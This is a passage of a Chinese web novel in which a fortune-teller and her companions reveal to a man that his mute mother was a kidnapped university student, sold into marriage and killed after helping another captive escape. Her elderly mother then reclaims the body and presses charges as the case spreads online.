却听莺芝问道:“她现在在哪?” 万措瞥了一眼想到什么、忽然像是被掐住了脖子一样的万德辉,开口时,下意识绕开了一些让人不适的形容和说辞。 “……我想,她或许不想见到父亲,所以把她暂时安置在了外边。打算停够七天后,再找人隆重地为她送行,葬在我家祖坟中。” 大概是,他坚持要把母亲尸身捡回来,但父亲强烈拒绝,再加上这么几天过去,本就在水里泡过的尸体,早就不成样子了。 所以他选择了把母亲尸体停放在了别处吧。 相对熟悉了万措的说话及为人处事风格,莺芝对翻译出掩藏在描述中真相的事,已经能够做到心领神会的地步。 旁边,万德辉一张脸皱成了团老树皮,不用说,肯定是对“入祖坟”的说法很有意见,但却一反常态地没有多说。 “葬你们祖坟?” 先前开口的男人好似听到了什么泼天笑话,呵了一声,极度不雅地爆了句粗口,“你们***也配?!” 万措蹙眉。 “我虽然不知道您是哪位,但您站在我家门口,对我的家庭指手画脚,是很冒犯的行为吧。” “冒犯?我师父还没开始发挥呢就冒犯你们了,帅哥,你们这心理承受能力也太差了吧。”一个小年轻扬声插嘴,被男人瞪了一眼后,缩缩脖子闭上了嘴。 男人显然不愿意和万措多说,骂了一句后,下一个问题也出了口:“‘外边’是哪?” 莺芝也道:“带我们去见她吧,万措。” “我母亲已经去了,不需要再算什么卦。” 万措道,“她最喜静,讨厌热闹。至少离开后,我希望她能得到属于她的清净。” 他沉凝下来的眼睛一一扫过周宜嘉、中年男人,落到了莺芝身上:“……如果你们坚持要去打扰她,给我一个能够说服我的理由。” 至少,算卦的理由不要再用——要把真实的目的说出来吧? 莺芝与他对上视线,停顿片刻,摇了摇头,似乎是失望。 “你为什么不相信她?” 万措:“什……” “对她的不信任,甚至可以压过你对于自己的直觉和判断的自信吗?” 莺芝道:“你记忆里的那个母亲,确实是我们这一次来到这里的目标,主要目标、唯一目标——这里的所有人,都是为她来的。” “你其实早已经猜到了,只是不愿意承认。因为你觉得,她配不上,不是吗?” “我——” “万措。”莺芝再度摇头,直接截断了他未尽的解释,“你是一个聪明的人,该你知道的,你其实都知道,比如村子里那些事。你也知道,我知道你。所以,干脆一些吧。” “……”万措沉默下来。 “她其实远不是你想象的那个样子,你对你母亲的了解,甚至没有百之其一。”莺芝道,“带我们去找她吧。” 台台摄影机对准对话的双方,万措英俊的五官一齐组成了略带复杂的神情。 “……跟我来吧。” …… 万措带领他们去往的地方,是村子最里侧。 被儿子无视了老大一会儿的万德辉没有第一时间跟上,而是缀在了后头,跟着后来的万德全等人聚在了一起。 他表情极其难看,在和万德全交换了一下所知道的信息、所猜测的内容后,更加难看了。 “……如果真是那样,那辉哥,阿措怕是……” 另一边。 众人跟随万措前行的的队伍中。 崔梦语走在前侧莺芝身边,对万措哼道:“QAQ是吧?之前看小莺那次活动直播的时候我就很想说了——你真的太没种了。” 万措正沉浸在自己的意识里,整理着乱糟糟的思绪,根本没有多关注她。 但这不妨碍崔梦语单方面输出。 她可是憋了好久。 “两耳不闻窗外事,一心只读圣贤书——你会这么想,也不是不能理解,说到底,这也确实和你没有关系,毕竟不是人人都是小莺,谁也不能要求另外一个人非得去做那些路见不平拔刀相助的事儿,你愿意袖手旁观,顶多也就是有一点自保主义而已。” “那些人那些事和你没关系,可是你妈妈呢?” 她恨铁不成钢,“就算你不清楚你妈妈是被拐来的,那你都知道你妈妈在家里总受欺负、深陷苦海了,就没想过要带她脱离苦海吗?离婚行不通,那带她走啊?你都在首都扎根了,就算不能把她也带过去,退一万步,在县城给她租个房打点生活费也不会?以你的智商不应该啊?” “还说什么为了她着想不想看她为宴席操劳所以不回来过年了,你不会真的觉得这是个很好的解决方案吧?真的吗?” “说得冠冕堂皇,其实要我看,你就是自私!” 说到这儿,崔梦语强行到了万措身边,放大声音呸呸了两句。 “还有今天,你问问问问什么呢问?我们表现得还不够明显吗,就是为了你妈妈来的。小莺说都说了,你还不相信——怎么了,你就是不愿意相信,在你眼里平庸至极的母亲,也能是别人的掌中宝,别人的心上花?” “你是不是有点嫉妒啊?” 她说话,和莺芝的杀伤力完全是不同方向的。 莺芝是温温吞吞的,哪怕是直接揭穿事实,风格也很符合玄学人给人的印象,基本是说话留一半、达成彼此心照不宣的地步就可以了的含蓄。 尤 其是对聪明人而言,这种风格会让人觉得被看得透透彻彻,却也不太至于难堪,只是会有种在她面前裸奔的不自在感。 但崔梦语,就是实打实的当面打人脸、拿针直戳人肺管子了。 不管好话歹话,反正一股脑堆出来,主打一个‘“我说话不好听你多担待点啊”、然后就开始肆无忌惮地把话说到极致的难听,外附收放自如的阴阳怪气。 话多且密,还全是大白话,听得人咬牙切齿,既难堪还尴尬,心里也窝了一肚子火。 对于寻常人来说,直接骂回去就行了,无非接下来就是一场酣畅淋漓的骂战罢了。 但万措不行。 他竭力压制了想要回敬一番的火气,耐着性子无视崔梦语,加快脚步,朝停放他母亲尸体的地方走去。 “就在前边。那是一户早就没人住了的院子,我就临时把母亲安置在了那里——对了,虽说可以让你们去探望她,但闲杂人等就不要进去了。” 这一回,虽然是他说的话,但却没人有意见。 “还有,气味可能有些不适,你们……” 万措看向莺芝,又看向周宜嘉、以及那个凶巴巴的中年男人,发现没人在意他这些嘱咐,一时也没了言语,“……你们自己看着办吧。” 他所说的“气味不适”,是事实。 刚一进那户的院子,一股不太好的味道就丝丝缕缕地飘散了出来。 毕竟是已经去世多天的人,又过了水,在野外待了许久,整个尸体的状态基本都可以用“惨不忍睹”形容了。 万措迈上台阶,推开房门: “而且我母亲是溺水去世的,如果想看她,那最好做好心理准……” 下一刻,他便被人撞了个踉跄。 一个头发银白的身影从他面前经过,强硬地迈进了屋子,直奔房屋正中地面上摆放着的,盖着一张大布的草席。 万措皱眉。 “您——” 又一道身影跟着进去,把刚站稳的他又撞了一个踉跄。 是那个中年男人。 他大步迈进房屋,站到了周宜嘉身边,准备随时照应。 “……”万措拧起眉。 “不用露出这副表情。” 莺芝登上台阶,站在万措身边,和他一起看向了屋内似乎浑然不觉气味难闻的人。 “他们是你母亲、也就是周文妤,在这世上仅剩的亲人。” 仅剩? 万措总觉得这话不对。 怎么会是仅剩呢,就算父亲不算,那明明还有他,还有妹妹——他们才是仅剩的亲人吧? 莺芝低垂眼睫,缓缓叹息:“如果说这世上还有谁是不顾一切也要来见她的,就只有她、或许还有他了。” “与周文妤而言,或许她并不想做你们的母亲。她自始至终想要承担的角色,只是他们的亲人。” “万措,他们是你母亲的母亲,和你母亲的恋人。” 万措震惊地抬眼,望向屋内,望向那两个已经在掀开大布、泣不成声的身影。 他母亲的……母亲,和……恋人? “我说过,我会给你的父母算上一卦,这是欠你的承诺。” “现在,我来告诉你,我算出了什么。” 万措下意识开口:“不,你等……” “——万德辉,家中行三,上有两个姐姐,一早夭、一十四岁出嫁产子时亡。” 莺芝却仿似没听到似地,继续说着:“万德辉贫穷伴身,命理含煞,性情暴戾,但较之梅仁兴那一类要轻上许多。” “十七岁与一三十八岁有夫女性产生纠葛,二人共同拥有子嗣缘,未出世便断掉; 二十二岁娶一女,孕四女,女或亡或苟活、均已断掉亲子缘——结合现实来看,应该是遗弃或送养了;三十岁妻病亡。” “三十八岁,娶周文妤,孕三女一子,长女出生即夭。” 万措脸色发白。 他的父亲,还有个前妻?还有四个已经没了踪迹的女儿? 他之前……还有一个至亲的姐姐? 他从来没听说过啊。 出生就死了…… 是难产吗,不应该啊,母亲还好好的——难道…… “呵呵,老三老四能活到长大,估计也是沾了这个儿子的光吧。”崔梦语讥嘲道。 她在莺芝身边,和万措一起,三个人站在房门前,算是挡住了摄像机拍向屋内。 “你父亲的情况我已经说得差不多了,接下来是你的母亲。” 所有人的镜头都对准着这边,莺芝不受任何影响,平缓地叙述着。 “周文妤,乳名双双,家中独女,十八年富贵顺遂。” “——命理坚韧善良,热烈赤诚。据熟识她的人所说,她聪慧活泼,能歌善舞。” “十七岁考上顶尖学府,与十九岁的校友确立关系,成为情侣; 十八岁,与初识的万德辉成为夫妻,同年,有孕产女,失去了语言的能力。” “二十岁,生子,名措。” “二十……” “够了,小莺。”万措深深地吸了一口气,失去所有血色的脸显得极其苍白,“……不用说了。” 十八岁的年纪,能够读大学,还是几十年前的大学……已经足见优秀。 而正读大学的年轻女生,有着恩爱的男友,优渥的生活,却在一朝一夕间,忽然放弃一切,和一个初识的……大她一轮还要多、几乎都可以当她爸爸的男人结了婚—— 是个人都能察觉到其中的不对。 但对于万措而言,仿佛轰隆隆雷声一样,在他耳边反复炸响的,却是那一句—— “同年,有孕产女,失去语言能力。” 也就是说……他的母亲,原本并不是一个哑巴? 这不能深思,不然简直让人毛骨悚然。 崔梦语也讥讽不下去了,莺芝平平无奇的叙述仿佛成为了催化剂,她曾经所听说过的那些,关于周双双的事,幻灯片似地一幕幕闪上,让她鼻子泛酸。 “你知不知道,周双双当年是什么样子的?” “每一个见过她的阿姨奶奶们都在和我说,周双双漂亮,活泼,是所有人的开心果,太阳花,喜欢打扮自己,喜欢凑热闹,喜欢和大家一起玩闹。” “她当初是经济学院的院花!歌唱比赛的佼佼者,导师教授们的好宝贝——是你的话,肯定能知道这意味着什么……她是那样的一个人。” 崔梦语连续地眨着眼,试图把眼泪逼回去。 “你又知不知道,周老师夫妻俩为了找周双双付出了多少?” “周老师的老公本来都是大学的教授了,还有机会更往上一步——为了找女儿,他除了上课就是到处跑,寻人启事都快贴烂了……最后积劳成疾病逝了。 周老师也是,离开部队之后,全部精力都放到了女儿身上——他们俩所有的积蓄都搭进去了,只要听到一点风声,就马不停蹄赶过去……也就是这几年,他们照拂过的孩子们都长大了,有能力照顾他们了,才稍微好了一些。” “还有那个一路跟着周老师的,骂你们不配的——他是周双双的男朋友,大学毕业之后,他是可以直接进入新闻部成为干部的,为了找忽然失踪的周双双,他放弃了大好的前程,去基层做了小记者,就为了那一点点能够得到周双双消息的可能……” “这么多人,这么多人都在为了周双双牵肠挂肚,为了她拼尽一切……” “但你呢,你之前说什么?” “你说你妈妈、你说周双双她——长相一般,孤僻乖张,不是什么很出色的女性、我问你,要是这都不算出色,什么才算出色? 你在首都工作这么多年,见到的女性里,有几个是比她还要出色的?” “如果不是摊上了你们这些吸血虫,她只会比你整天绞尽脑汁讨好的那些上司客户们更加高高在上、是你高不可攀只能望而生畏的存在。” “——你说离了你们,她没有地方可以去,会受尽欺负和侮辱?说你们是世上为数不多会在意她的人?” 崔梦语愤愤笑出了声: “你们才是对她最大的侮辱,你们才是给她所有欺负的人。离了你们,她的世界只有一片灿阳——除了温暖就是幸福,是青云直上,是所有一切的美好。” “是你们,是你们毁了她。” “还说什么你的妈妈天生苦相……哈哈,你告诉我,在这种情况下,换做是你,你笑得出来吗?” 崔梦语笑着,眼泪和断了线的珠子一样啪嗒啪嗒地掉。 她本来就是个非常感性的人,要不然也不能被任柏承那么些花言巧语就给轻松唬住。 现如 今说起这个陪伴自己好几个月的老前辈,说起老前辈挂在心上、那个可怜可悲的无辜女孩儿,她更是无比地能够共情,感同身受。 “你扪心自问,到底有什么资格看不起她?” “说你像她,你还不想认——能像她,是你三生修来的福分,也是她十辈子加起来所有做过的孽的惩罚!” “不想认的那个人该是她才对,这是对她的侮辱,你还没有这个资格。” “要不是有她做你的妈妈,就以你爸那种烂到骨子里的恶臭基因,你以为凭你那个除了自私就是自私的脑袋瓜,能离开这里、能往外边的世界爬?” “你早就跟你那烂心烂肺的爸一起,永远地埋在这个让人作呕的恶心村子里了!” “别人金蛋金蛋金凤凰金凤凰地叫,叫多了,是不是你自己也以为你是个什么宝贝疙瘩了?” “我告诉你——” “穷山恶水里之所以能飞出凤凰,那是因为有真正的凤凰,曾经陨落在了这里。” “你懂吗?” 第77章 身负罪孽而来 崔梦语的话字字铿锵,掷地有声。 听在在场许多人的耳朵里,都不啻于平地惊雷,振聋发聩。 今天跟着莺芝一起来的,除了周宜嘉那边的亲友们还算了解大概情形以外,其他的人大都是和万措的想法不谋而合的—— 都以为,这一行连夜下乡的目的,说的好听点,是替天行道、揭露真相,说的不好听点,就是来找场子、实施报复,出一口恶气…… 总而言之,一句话概括:是来直接打击拐卖妇女的买方市场的。 至于先前听到过的风声,看到过的莺芝在直播间做出的预告……那不就单纯是个做引子的借口吗? 而直到此时,直到现在,听了崔梦语这一通似抱怨似发泄的言论,他们才彻底明白过来—— 原来他们这一趟过来,还真是来接人的。 只不过这个人、这一生,和拐卖事件脱不开干系。 如果崔梦语和小莺所说都是事实…… 那么几乎可以说,[她]的整个人、整段人生,都是“拐卖事件”酿成的一桩悲剧,是无数被拐卖人员的侧写缩影。 她原本的人生轨迹,被一段突如其来的意外强行改写,该是顺遂无忧的命运,被拉入了泥泞,只剩下了在尘埃里沉沦。 原来是这样。 不过这一趟也并不算白来。 “都录下来了吗?” “录了录了……嘘,别出声,他们还没说完呢。” …… 堂屋的门口,万措只觉眼前阵阵发昏。 崔梦语这一番话,可谓是一丁点的情面都没留,就差直接把他给钉到柱子上,让他在所有人面前脱光一样。 他强行镇定心神,看向莺芝。 “你们说的……都是真的吗?” 不是他不相信莺芝的卦,相反,他对莺芝的专业性深信不疑,他坚定地信任着,莺芝是一个能够算出一切的能人。 但,就算是这样,今天听到的一切也都是颠覆性的。 他印象里怯弱、沉闷、平平无奇到寡淡,如一潭死水一样的母亲,竟然是那样一个人? 莺芝看着他,眼神平静,无喜无悲。 万措却犹如被一盆冷水兜头泼下,通体发凉。 “你还问什么问?”崔梦语擦了擦眼泪,“你还想着问出个不一样的答案,证明我是在骗你,证明你的观点不是错的?” “——虚伪不虚伪啊你。” 万措脸色彻底白了。 这个判词,远比上学时老师给出的“良”、“B”、“继续加油”都还要让他感到窒息。 是一种像是四面八方的空气都变成了水、把他眼鼻喉耳全都堵上了的痛苦感。 他近三十年苦心经营的生活,塑造的形象,仿佛在一瞬间化作了一张薄薄的纸,轻轻一碰,就戳了个大洞。 再难撑起。 ……虚伪。 他,是一个虚伪的人? 莺芝却已经转开了视线,面向了屋里。 屋内,周宜嘉在中年男人的搀扶下,从快要瘫倒在地的状态下起身,脸上犹带斑斑泪痕,细心体贴地把那张布重新盖了回去。 随即,她哀苦、却也满足地看向了他们。 “我要带她回去。” “不行,那是我——” 还在怀疑自我的万措下意识便脱口而出,然后,又在周宜嘉的注视中,息了声音: “……那是我的母亲。” 那是他的母亲。 不管怎么样……都是他的母亲啊。 应该由他来操持丧事,由他来亲手下葬,应该葬在他的…… 周宜嘉看着他,又像是根本不想看他,灰白的眉毛微微皱着:“她是我女儿。” 见万措还想说什么,她继续道:“我的女儿,没有结婚,没有孩子,她姓周,她该回到我们家。” 周宜嘉是这么说不假,但万措自然也是不愿意放手的。这可是他千辛万苦才从山中找回来的母亲,怎么能就这样让别人说带走就带走? 他的母亲,怎么能是没结婚呢? 那他又算什么? 作为母亲唯一的儿子,他有责任,有义务操持母亲的后事。 而且哪怕从法律意义上来说,他和母亲是真正具有血缘关系的人,他是她的后代,这些事,理应是他说了算的。 理顺了思路,万措也暂时收起了乱七八糟的想法,至少,要先把最重要的这件事定下来。 谁知不等他再讲道理为自己争取,莺芝便从袖袋里拿出了手机。 “万措,你看这个。” “稍后再看,可以吗?”万措不明所以,却也耐着性子回应。 莺芝摇头,坚持:“你还是先看看吧。” 万措转头,见周宜嘉,还有那个男人,都对此没有什么意见的样子,他也只好暂时应下。 莺芝递到他面前的,是一段视频。 一个年轻的女孩儿坐在病床上,看着画面里另一边坐着的莺芝。 那女孩很眼熟,万措也眼熟,因为有过一面之缘、数个小时的同处一室。 是王诗蔓。 不知道莺芝到底是什么意思,万措继续看着。 画面里,莺芝问道:“他们为什么对你这么严防死守?据我所知,仅仅为了限制自由的话,不需要做到那种地步。” 王诗蔓缠着重重绷带纱布的脸上露出苦笑:“因为我曾经差点跑出去过。” “可以讲讲吗?” “可以。”王诗蔓一口应下,继而回忆道,“其实……我一开始,不是后来那种硬碰硬的样子的。” “最开始的时候,他们只是绑着我的手脚,把我关起来。那会儿,我也是想着先顺从他们,让他们对我放低警惕心,再慢慢等待机会……找可以逃跑的时机。” “他们也确实信了我,对我的看守放松了很多……直到他们开始准备结婚的事,看我还算配合,他们也把我暂时从小黑屋里放了出来,给了我一间有床的屋子—— 他们找了好几位村里的女性长辈,说是来给我准备东西,为了结婚做准备,给我洗澡换衣服什么的。” “也就是那时候,我认识了哑巴阿姨。” 屏幕里,王诗蔓追忆地叙述着,屏幕外,万措整个人愣住。 哑巴阿姨……他的母亲吗? “哑巴阿姨看起来过得很不好,身上的衣服总是脏脏旧旧的,胳膊脸上也带着伤,有时候一天过去,第二天就又添了新伤。我一看就知道,她老公肯定总打她,经常欺负她……因为她给我洗澡换衣服梳头的时候,都很温柔,很细心,连我指甲缝里的脏东西都给我弄得干干净净。这样一个人,怎么可能会让自己的身上总是脏兮兮的?肯定有内情。” 现场,各种各样的目光集中落在了万措身上。 所有人都在看他的反应,看他身为人子,在得知事实的如今,听到这些事的时候,会有什么样的反应。 可惜,万措微微低着头,脸被一片阴影 笼罩,根本看不出什么。 手机里,王诗蔓的声音还在继续传出。 “为了拖延时间,尽量晚点跟那几个人结婚,所以我跟他们说,我家嫁女有习惯,需要女方自己做几件小孩儿的衣服,做得越多,将来就生越多的孩子——可能是我这个提议戳他们痛点了,他们虽然半信半疑,但是也同意了,让我先做两三套出来,两三套就够了。昨晚之后结婚。 估计是担心我耍花招吧,他们还是让之前的几个女人来看着我,然后……应该是觉得哑巴更让他们放心,那几天里,在我身边最久的,就是哑巴阿姨。” “我也是在这段时间里才知道——哑巴阿姨竟然识字,而且村里好像竟然没人知道!” “她在桌子上,用水给我写字,问我的名字,问我从哪里来,问我多大了,问我在哪里上学,读什么专业……” “这些天的遭遇真的……虽然我表现得没什么,但我真的太累,太怕了……所以能有个很亲切的人跟我聊天,我很高兴,所以我什么都和哑巴阿姨说了。” “婚礼的前两天,阿姨忽然写字问我,想不想爸爸妈妈,我说我很想。” “阿姨说,她叫双双,她也很想自己的爸爸妈妈。” “然后,她说,她帮我走。” 莺芝看到,万措垂在身侧的手指渐渐蜷起,攥紧,手背筋血凸起,又缓缓松开。 他始终低垂着头。 “我没想到,双双阿姨说到做到,真的带我跑了……” “她带着我偷偷离开了陈家,村子里的人很快发现了,一起来找我们。阿姨带着我上了山,我们在山上藏着……” “但是,但是……” “……但是有人发现了。” 说到这里的时候,王诗蔓哽咽了,她情绪变化巨大,停顿了好一会儿,才调整好状态,继续往下说。 “那天,天都黑了,一个男的上来,把双双阿姨从我们藏着的那个山洞里拖了出去。 他对阿姨拳打脚踢,我很害怕,也很生气,我冲上去,让他不要打了——但除了跟着挨两下打,我什么也做不了,我拉不开那个人,也护不住双双阿姨。” “有人说,让陈三快点把我带走,看好了,别再跑……我被他们强行带走,双双阿姨还留在那里,我挣扎,大闹,但没办法,我真的什么也做不到……” “被带走的时候,我看到双双阿姨在地上躺着,那个男人一直在打她,骂她,但她好像不觉得疼,也不觉得难过。 她看着我,一直看着我,她张着嘴,好像是想说话,可是她说不出话,也没人能听得到……但我知道,我知道她在说什么,因为就在被抓出来之前,她还在我手心里写过。” “她说,你要回去啊,你一定要回去。” 画面里的王诗蔓沉默下去,沉默了很久很久之后,她带着颤抖的声音才又一次响起。 “回到陈家后,我不再配合,不再听话……我想见双双阿姨,我想知道她的情况。” “他们只会打我,一遍遍地打我,他们给我加了铁链子,我的脖子,腿,全都被绑了起来,他们把我栓进了小黑屋,他们再也不让我见人……” “被我问得烦了,那个瘸子不耐烦地跟我说:‘死了’‘再闹你也和她一样’!” “我错了,我真的错了……我好多次问我自己,我是不是不该跑,如果我不想着跑,双双阿姨就不会遇到这些。” “可是,那屋里太黑了……太黑了……我总能看到双双阿姨躺在地上,对我说话。” “她说,你要回去啊,你一定要回去。” “……” 王诗蔓再度沉寂下去,呆呆地坐着,无声地淌着眼泪。 她必须回家。 哪怕真的回不去,哪怕拼着玉碎,她也要用尽所有力气反抗。 因为她还带着那个虽然过得很不顺,却依旧善良温柔的阿姨的希望。 只有她离开了这里,才能让那个在这里被耽搁了全部岁月的女性,在有朝一日,能够离开这座吃人的大山。 她要回家,她也要回家。 她们都能回家。 话说到这里,莺芝退出了视频,把手机放回了袖袋里。 现场已经响起了许多混杂着抽泣的骂声。 许多年轻人都被这段并不算太长的剖白给震撼,为其中的“双双阿姨”和主角王诗蔓的遭遇而感到真情实感的难过。 所有人也都知道,这位“双双阿姨”,正是刚刚崔梦语口中那位——十八岁花样年岁被拐来这里,和大自己一轮的男人结婚生子,并死在这里的女孩。 正是面前这个外貌出众、体面精致青年口中,阴郁孤僻的母亲。 也正是,此时此刻,躺在屋内、因未得到妥善对待,正散发着重重不佳气味的已亡人。 不管她是主动寻死、还是被人害死,总之,都已经尘归尘,土归土了。 可是,她所期待的呢? 仍然没有到来。 眼前是最后一步。 拦路的,是她的亲生骨肉。 崔梦语白天听王诗蔓跟周宜嘉打电话说起这件事时,就已经哭过一场,现在再次重温,依旧没能止住眼泪。 人群里,有人扬声发问: “周双双想要回家,死都想要回家——你既然说她是你的妈妈,那连这点心愿都要剥夺?你还有什么脸说她是你的妈妈?” “周双双为什么忽然去世,你有问过你的爸爸,还有村子里的其他人吗?” “你对村子里参与购买妇女的事情真的毫不知情吗?” “你对你的母亲完全没有关心过吗?你有没有尝试过带她逃离被家暴的环境?” “……” 他们有不少都是记者,或某某营销号的小编、的撰稿人,问起问题来,一个比一个尖锐,一个比一个直白。 “你现在拦着周双双的母亲,不让她带周双双回家,是不是想要替杀害周双双的人销毁证据、遮掩罪行?” 万措仿佛化作了一根失去所有生机的石柱。 矗立在一片阴影之中,行将就木。 崔梦语盯着万措,同样尖锐地质问: “我要是周双双,我死了也不会放过你们——你那么喜欢玄学,你就没想过,周双双的灵魂正在看着你?” “你让她失望了一辈子,到了现在,还要继续让她失望吗?” “你不是她的儿子,你不配!你的名字起的太对了,千错万错,你就是个错误。” 万措死寂地站着,没有任何搭话的意向,他就那么呆呆地站着,失去焦距的视线对着屋内,却不知落到了哪里。 莺芝轻轻叹息。 她缓声开口:“万措。” “你既已经知晓所有,理应做出抉择……和村中的事件一样。” 听到莺芝的声音,万措终于有了反应,迟缓地抬头,看向了她。 莺芝冲他略一点头,无声回应。 早在他们今晚见面,他选择从夹道中走出来的时候,莺芝就知道,他已经做好了取舍。 他以为,他们是为了村中拐卖事件来的,所以那时候,他的打算是彻底旁观,由他们去,并不会从中作梗,并且一定程度上,还会配合。 无论后果如何,都是村中人自己应得的。 他本身就没有掺和进事件,只不过一直没人告诉他,他也便只作不知道,保持旁观罢了。 做出取舍后,他就更加没有心理压力了,于他而言,村中这些人,都只不过是无关紧要的过客罢了。 那么现在—— 莺芝是在提醒他,在周双双的事情上,他也该做出取舍了。 是选择执拗地继续装傻固执到底、维持现有的“家庭”,还是选择还给周双双、还给被他辜负了一辈子的母亲,一个清白的身后。 那个给予了他生命的人,无论是否曾经对他抱有过期待,到了后来,怕也是只剩了失望。 他辜负了她太多,太多太多。 莺芝声音温缓,如流水: “万措,及时 止损,莫做伥鬼。” “及时止损……”万措喃喃,想笑,又笑不出来。 他所维持的体面,所追求的体面,在今晚这短短的时间里,就已经全部化作了飞灰。 他甚至可以想象到,等莺芝这一期的节目播出,所有人会是怎样看待他的。 伥鬼……伥鬼么。 伥鬼么,按照现下的评判来看,他似乎已经是了吧。 一个挂在那个名为周双双的女孩身上的吸血虫。 一个一切都来源于她,却偏偏从没有把她看进眼睛里过的白眼狼。 错误…… 也没错。 万措闭上眼,喉头滚动,往偏侧微移,让开了门口的位置。 “……带她走吧。” 她连死都是想要离开这里,她拼着所有都要离开,他还有什么好拦的。 生前他没能给出助力,现在……让开路,是他唯一能为她做的了。 补偿是补偿不了,她估计也不愿意被他这样的人补偿,那就只当是消解罪孽吧。 至少,不要再当她归家途中的障碍。 在带着周双双的尸体离开时,莺芝落在队伍最后,回头看了一眼。 万措仍旧站在那里,低着头,不知道在想什么。 莺芝脚下一顿,看向他。 “万措。” 万措闻声抬眼。 夜幕下,莺芝一身浅色,披着月光,仿佛随时要踏月飞升。 “从我们第一次相遇,我就有关注你。” “你的身上,有一层非常特殊,非常特殊的东西。我当时并没有分辨出那是什么,后来才弄明白。” 万措怔怔:“……什么?” “孽。” 她眉眼间晕着薄而淡的情绪,像是不知为谁的悲悯,又像是对此情此景的叹息。 “它往往出现于本不该产生、却产生了的存在身上,相伴相随——” “背负着‘孽’的人,本身并无多少罪孽,只是这个人存在,却背负着其余诸多的罪孽,是苦楚、怨恨、疼痛、憎恶,以及生命。” “它是加诸你身无形的枷锁,它意味着,你的存在,是摞累在许多业障之上的。” 如果反应在现实,那就是,在他降生之前的、那些无辜女婴,他降生之时,他的母亲,他降生之后,他的妹妹们……她们所有所有人的一切苦难,铺出了一条康庄大道,造就了一个如今的他。 他的如今,他的风光,下边埋葬着的,是许许多多无辜的血泪。 见万措仍然立在原地,面上自疑惑渐渐转为了悟,复杂而难明,莺芝回转了身体,不再看他。 “因果循环,报应不爽。” “所有的恶,都会受到惩罚,所有的孽,都需要偿还。” 区别是,惩罚在身后,偿还在生前。 “你今天做了正确的决定。” 莺芝提步,踏碎一地月华,朝外走去。 这不会使他所背负的的孽就此消失,但却会让那些因他而破碎的魂魄们得以喘息。 希望他日后能够多行善事,偿还所背负的罪孽。 哪怕……只是为了他自己。 第78章 报应不爽 莺芝的视频在从村子里离开后的当晚发布了出来。 他们回到市里时就差不多要天亮了,一群人折腾了这么一大趟,好在结果是好的。要接人的接到了人,要出力的也帮上了忙,奔着素材去的更是收获得盆满钵满。 接下来的一整个白天里,几乎没有人休息。 所有人都有自己的事情要做,忙碌得脚不沾地。 莺芝带着崔梦语提供的设备,由崔梦语去和医生沟通再把“假期”续上一段时间后,在市里找了座勉强算得上是供奉着姻缘神的庙,一待就是一整天。 要不是先前文隽下来了一趟,走之前借了她不少灵力,她早早就已经因为灵力枯竭不得不使用红线小人那里寄存的灵力回天庭休整了。 现在牵挂着的要事基本已经处理完,只剩下了收尾,莺芝自然可以优先一下自己,到一个能够小小补充一下灵力、调整状态的地方做事。 她手里素材齐全,但也零碎,以初学者边学边做的状况,拼拼凑凑了六七个小时,日落月升时,才把一期视频给拼了出来。 虽然技艺生疏,一看就是外行人做的,但好歹时间线是对上了、理顺了,要讲的故事是完整的。 上传,发布。 甫一放出视频,两秒之后再刷新,点赞转发和评论都已经突破了三位数。 都是喊着“先赞再看”“先转再看”“来了第一”的网友们。 从莺芝昨天下午的直播预告了要有新内容之后,所有人就都在等。 等她这个所谓的“一位女性完整的一生”,等着看到底是什么内容。 五分钟后,动态下方以及转发区,开始出现大片大片的,非水楼抢前排等无意义内容的言论。 基本都是脾气比较爆,视频看一半、忍不住暂停中断,切出来发出灵魂质疑以及输出“国粹”的人。 两个小时后,莺芝的个人账号几度濒临卡爆。 莺芝发布动态后,其他跟着一起去的媒体们也都得到了什么信号似的,接连不断地放出了己方加班一整天的成果,把这件事的热度又一次拔高了许多。 事情越传越开,知道这件事的人越来越多,一些网友们自发地为此创造新的词条和话题,深深为此共情的艺术者们,也都开始了创作。 #她要回家# #被拐女大学生三十年受难记# #被拐女大学生的儿子# #全村一起贩买人口# #支持人贩子死刑# #因为淋过雨,所以用自己为同类撑起伞# #这条回家的路,她走了三十年# #阿姨也想爸爸妈妈# #我不像我妈# #我的妈妈很普通# #真假凤凰# …… 各种各样的标签接连出现,五花八门主题的文章画作层出不穷。 一整个晚上,有关“周双双”“周文妤”“红线小莺”的词条手拉手排排坐,和发散联想的相关词条一起刷了满满当当,联手霸占了热度榜前排。 其中,#双双,回家了#更是以断层热度居于第一。 莺芝对此是不太清楚的。 因为当晚过去后,她的行程满满当当,根本没什么时间上网。 ——周宜嘉带着周双双去报了案。 在王诗蔓的请求下,莺芝代替她陪同前去了。 周宜嘉形容老迈,仅仅一个昼夜过去,她就好像平白又老了好几岁,精神倒是还好,但举止间已难言疲惫。 像是心中盘旋的执念骤然消解,那口一直吊着的心气儿,也就跟着散了。 好在,这执念也并不算完全消解。 她还记挂着,要给周双双讨一个公道。 哪怕这需要周双双再晚一些得到解脱、再晚一些彻底安眠。 她也要做。 要为女儿这么多年所受到的磋磨报仇。 要让其他有几率会有同样遭遇的无辜女孩儿们,多一点幸免于难的可能。 周宜嘉带周双双遗体报警,报的是故意杀人。 ——她的女儿,被人故意虐杀了。 周双双已不成样子的尸身上,伤痕遍布,一片狼 藉,饶是见多了各种场面的警察,也不免心惊,旋即生出浓浓的怜悯之情。 或许是网上的风暴终究有一些吹到了相关部门人员耳边,亦或是周宜嘉周兴学夫妻两个过去行善积德累积下的人脉起了作用,更或者,是周双双的情状实在惨烈,相关部门对此很是重视,几乎是立刻就安排了接手。 随后,周宜嘉又去找了律师,直接针对性地起诉了万德辉,万德全。 故意杀人、故意伤害、非法囚禁拘禁其他公民。 数罪并诉。 这段过程里,王诗蔓的父母也加入到了其中。 她的父母在接到电话的当时就出发赶来,第二天就和女儿见了面。 亲子三人哭过一场后,王诗蔓抹着眼泪,恶狠狠地说要让那些人坐牢。 王父王母看着过了这一遭,被折腾的不成样子的女儿,心中比她本人还要更恨上几分,立刻就联系了律师,无论如何,也要让那些人付出代价。 但是这个过程就很长了。 不管是警察一方的调查结果,还是是法院一方从试图调解开始转向同意立案、进行后续,都不是能一蹴而就的。 只能等。 所幸,还有网络,还有千千万万的公民们和他们一起在等。 周双双的遗体暂时是无法火化入土的,周宜嘉却已经给她选好了位置,就在周兴学的旁边,也在未来自己的旁边。 作为当事人,受害者之一,莺芝又留了几天,配合昨晚笔录等一系列事情后,在周双双暂时还空着的坟墓前放了一束花,以作提前吊唁。 随后,她离开了这座城市。 虽然很想回天庭好好休息调整一下,但这几天有事没事去姻缘神像旁坐几个小时,状态保持得也还可以。 